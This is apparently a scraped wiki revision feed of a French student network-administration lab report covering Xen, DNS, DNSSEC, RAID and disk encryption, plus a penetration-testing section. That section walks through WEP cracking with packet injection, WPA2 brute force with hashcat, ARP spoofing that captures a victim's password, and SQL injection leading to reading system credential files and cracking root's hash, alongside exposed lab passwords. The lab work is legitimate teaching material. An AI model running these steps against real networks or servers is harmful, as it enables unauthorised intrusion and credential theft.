** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1&lt;br /&gt;
&lt;br /&gt;
Grâce à la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous peuplons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkdir /raid5&lt;br /&gt;
mount -a&lt;br /&gt;
touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
 &lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54562</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54562"/>
				<updated>2020-12-14T15:48:17Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
